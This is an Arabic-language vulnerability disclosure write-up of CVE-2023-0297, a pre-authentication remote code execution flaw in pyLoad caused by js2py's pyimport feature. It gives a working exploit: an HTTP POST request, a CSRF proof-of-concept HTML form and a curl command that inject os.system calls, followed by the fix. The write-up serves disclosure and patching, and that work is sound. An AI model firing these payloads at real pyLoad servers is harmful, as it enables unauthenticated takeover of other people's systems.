
CVE-2023-0297: قصة اكتشاف ثغرة RCE قبل المصادقة في pyLoad
قصة اكتشاف ثغرة RCE قبل المصادقة في pyLoad
تؤدي ثغرة حقن كود في إصدارات pyLoad الأقدم من 0.5.0b3.dev31 إلى تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة عبر إساءة استخدام وظيفة js2py.
يمكنك العثور على التقرير هنا وكود الاستغلال هنا.
pyLoad هو مدير تنزيل مفتوح المصدر مكتوب بلغة Python ويمكن إدارته عبر واجهة ويب. يحتوي مستودعه على GitHub على حوالي 2.8k نجمة حتى 9 يناير 2023.
أثناء تدقيقي للكود المصدري لـ pyLoad، لفت انتباهي الكود التالي:
jk = eval_js(f"{jk} f()")
تعريف دالة eval_js هو كما يلي:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
تستخدم eval_js(f"{jk} f()") وظيفة js2py التي تنفذ كود JavaScript f"{jk} f()" حيث يتم تمرير معامل jk عبر معامل طلب:
jk = flask.request.form["jk"]
لذلك يمكنك تنفيذ كود JavaScript عشوائي عبر إرسال طلب إلى نقطة النهاية.
ولكن كيف يمكنك إساءة استخدامها؟ نظرًا لأن XMLHttpRequest وfetch وrequire (مثل node.js) غير معرّفة في سياق js2py.eval_js()، فإن SSRF أو قراءة الملفات المحلية غير ممكنة.
بعد قضاء بعض الوقت، وجدت وظيفة مميزة لـ js2py:
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
باستخدام هذه الوظيفة، يمكنك استخدام مكتبات Python في سياق js2py.eval_js()! من المثير للدهشة أن pyimport مفعّل افتراضيًا. :o
جرّبت كودًا بسيطًا ينفذ أمر نظام باستخدام pyimport:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
كما هو متوقع، تم تنفيذ touch /tmp/pwnd!
عند إرسال الطلب التالي، سيحدث الشيء نفسه على المضيف المستهدف:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
جزء ;f=function%20f2(){}; في معامل jk ضروري لأن نقطة النهاية هذه تنفذ eval_js(f"{jk} f()"). إذا لم يكن موجودًا، فلن يتم تنفيذ الكود المحقون بسبب خطأ name 'f' is not defined.
لاحظ أن الطلب لا يحتوي على ملف تعريف ارتباط (cookie) ولا رمز CSRF. وهذا يعني أن:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
فقط قم بتعطيل وظيفة pyimport.
import js2py
+js2py.disable_pyimport()
شكرًا لفريق hunr.dev وأحد القائمين على صيانة pyLoad على الاستجابات السريعة!